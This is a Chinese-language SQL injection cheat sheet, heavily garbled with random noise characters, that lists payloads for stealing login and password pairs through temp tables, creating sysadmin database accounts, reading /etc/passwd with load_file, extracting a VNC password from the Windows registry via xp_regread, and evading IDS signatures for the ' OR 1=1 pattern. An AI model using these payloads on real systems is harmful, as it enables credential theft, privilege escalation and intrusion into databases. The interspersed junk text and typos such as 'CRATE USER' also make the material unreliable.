" O4 a% o7 }9 u f) V–>MsysRelationships2 o- o9 q, T; \% x5 R4 q4 m2 N) n
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MS SQL Server数据库 # l0 R- z+ _& y: v 9 \# p: K# j; G: V/ ~+ Z( f–>sysobjects ! x; K$ I# B- z' b. {4 h7 |" ?, u7 ~2 ^) b/ C/ o( ]; u; ~
–>syscolumns$ o3 ~% e5 |5 e
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–>systypes - D' x5 T b8 O% Q7 r* j; [0 u - \# d! P0 P$ k. ^; {–>sysdatabases; |: b- _' Z0 E+ ]
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5、抓取密码 3 j+ x) y) B M7 v: f4 R5 _' B- X5 d: d5 [# t
用类似下面的语句。。。 ( C5 ~" R$ ?6 i5 ?+ i" ?' ?4 L& E, e: g/ M* U9 H% p& u. q6 \
//保存查询的结果+ _& g! A. C/ q) U1 U# u3 w
8 ~$ f1 H$ h+ H: x! pstep1 : ‘; begin declare @var varchar(8000) set @var=’:’ select @var=@var+’+login+’/'+password+’ ‘ from users where login > @var select @var as var into temp end –) ]4 X& b. D9 S9 ^: X1 N
* E, x( H9 u8 ^ s//取得信息 2 S1 o7 { m0 `8 @4 P 1 ]$ Y8 J' U# n5 f7 J* H, ^step2 : ‘ and 1 in (select var from temp)–# r' A) R" Y& h9 M3 q# |$ b
" I( g$ w2 J; I5 |; ~; @//删除临时表. l' a8 H. e y0 e6 C1 d
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step3 : ‘ ; drop table temp – ; d& r( _- D' _! o+ c3 N% o* o5 V7 m! G2 n
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6、创建数据库帐号 0 d/ S# a0 V9 G + H3 |9 R" Y9 z( \! IMS SQL9 ^3 I# c1 [9 f8 C0 ?* f3 H& e
* ^! c$ N/ q" bexec sp_addlogin ‘name’ , ‘password’" @) N3 I. i4 ]" J! x
. H2 k: d9 n# E5 f9 ~$ B3 Kexec sp_addsrvrolemember ‘name’ , ’sysadmin’ * E6 [- e) y: n# L! ` / Z w. n1 N9 M1 G# M8 y , D( g5 b- q* W' r+ b1 u/ p) u+ x1 d5 `& e: r |
MySQL# }1 w9 C1 Q1 A
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INSERT INTO mysql.user (user, host, password) VALUES (’name’, ‘localhost’, PASSWORD(’pass123′)) . \3 [3 p! n. X- ]9 `( y: k9 ~4 S4 k4 {2 N2 X9 _1 ?) U+ k3 S0 l
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CRATE USER name IDENTIFIED BY ‘pass123′0 R8 u3 A1 d9 n1 {! K- Z0 E" r
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; a0 O2 n3 }- c% I$ ^Postgres (requires Unix account) 2 h( }$ ?1 L( ?2 R+ I+ _ , `$ o3 H) s9 SCRATE USER name WITH PASSWORD ‘pass123′2 \6 V9 w* a- ?+ O
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Oracle# ~; @+ b5 ?( [% m* m3 ]2 f: q
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CRATE USER name IDENTIFIED BY pass123 , ^ ~9 V( R b* T : T8 |3 {& j# d, B* x5 f TEMPORARY TABLESPACE temp1 ]. C7 K2 |9 M" J X9 x
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DEFAULT TABLESPACE users;9 i2 C5 @; P3 j4 q7 Y
) r5 A: x0 }5 a' G: `GRANT CONNECT TO name;3 }+ C3 ^% d0 x$ U! V' _2 T& t
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GRANT RESOURCE TO name; , _: J/ V1 X* `) Z" C 5 S* E1 m8 h9 F" x& C% B# K5 c* }% y/ ~* ?% E5 S+ k
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7、MYSQL交互查询) n6 d6 y- e& H, \5 O& j' z
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使用Union查询,暴出文件代码,如下:2 \, O1 [: K2 [' z
$ Q8 @$ j/ v O$ G7 E1 B% F- ‘ union select 1,load_file(’/etc/passwd’),1,1,1;. m$ h0 d, _# K" K' c, d7 H7 i
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- ‘ and 1 in (select @@servername)–# }; ? p; s7 l4 R3 Y
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- ‘ and 1 in (select servername from master.sysservers)–( d. s, `6 M0 E* R7 T
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9、找到VNC密码(注册表)# N' w9 f# S y$ b) ?& I
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实验语句如下: 6 g6 l% P8 l; }( q# W3 x4 R& O) L* n5 K
- ‘; declare @out binary(8) # u+ U3 p' l1 S6 ] , o3 x. V6 ^2 A/ Z% ~- exec master..xp_regread * V0 x9 m4 `1 o9 T7 k/ O+ p/ n# @# x2 Z1 \/ T( g8 C
- @rootkey = ‘HKEY_LOCAL_MACHINE’,% Z6 Y3 ? B h- Y
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- @key = ‘SOFTWARE\ORL\WinVNC3\Default’,% ~ ^7 W# w/ o7 F3 M) R4 D
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- @value_name=’password’, 0 C& X% Q# b- Q& O$ a5 ?/ \( n3 _5 d |
- @value = @out output 2 u' ]$ ?+ f1 F' R) c1 [$ r 0 H! l6 i* z+ z- select cast (@out as bigint) as x into TEMP– - Z H M% G2 F$ f2 \) w- @* t1 X4 j) m; q p3 G% f% y8 v5 |
- ‘ and 1 in (select cast(x as varchar) from temp)– , n B3 y1 i h& J9 C% q$ F6 o0 T4 e6 E8 ?/ `3 s
' `6 H) N# `7 e1 s, A6 a N0 ^' q7 r ) L4 ?; ?3 ]9 `, |/ l/ t4 w10、避开IDS检测 6 k9 P* G1 W! [/ ?# e0 G2 N2 p8 ]& ?7 o7 i
Evading ‘ OR 1=1 Signature , K7 ^6 Q3 H* H, z6 c! A& ?9 h+ [( _! B6 W
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0 ?% ]9 N2 C" g; u0 Z) \# u5 F- ‘ OR ‘unusual’ = ‘unusual’ 9 e7 G7 z) C& [& K r7 O! e 0 T6 f" Y5 v2 q' e4 O: E2 ^( b- ‘ OR ’something’ = ’some’+'thing’ " u. u" X6 u% z; V# Q2 b 3 y. G1 r3 u( H9 W- ‘ OR ‘text’ = N’text’ / h1 q; V. o" l* c+ c. i" k* q% n( o3 X
- ‘ OR ’something’ like ’some%’8 e( N Y; L+ l6 F
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- ‘ OR 2 > 1 $ n& k9 b% k! `" d' C - F, k3 p8 o/ z/ }- ‘ OR ‘text’ > ‘t’' v: f" f# x4 i" N
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- ‘ OR ‘whatever’ in (’whatever’) . l5 q4 E3 B+ s: Y3 w# h$ J6 `3 c3 N5 V& c
- ‘ OR 2 BETWEEN 1 and 3 1 X; U- ~3 G. ?" L" c a; F$ {6 B6 |: \7 g1 L8 D" y
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' S, |7 I. M# _, O9 B11、MYSQL中使用char()函数 & @; [0 R/ I( I% \: u / d2 k+ h5 r# U8 c4 J" d不带引号的注射,例如: (string = “%”):' I3 [/ S q; C3 D! p- p
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–> ‘ or username like char(37); " y1 F, J) s' M # i+ m- k) W# T( P& X; h7 L0 }带引号的注射,例如: (string=”root”): . T0 F9 d4 d8 [3 U! ~( Z2 D2 `6 X: X " H% B4 |' B1 l' |& o9 C–> ‘ union select * from users where login = char(114,111,111,116); 0 t: }- s z9 E0 B9 t; @8 s# G, T f& I# _" f6 [" i5 a在 unions中使用load files 函数,例如:(string = “/etc/passwd”):. w4 I# K! u; ?. \
3 P+ \" G E; M+ B4 ^1 x–>’ union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;0 `. S; ~" C. ~1 h
$ ~- }- n5 U2 M6 ^" X检查文件是否存在,例如: (string = “n.ext”):8 E1 h- S/ }& c: P; e+ G
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–>’ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); l2 b& x" E6 d, F8 g \% \
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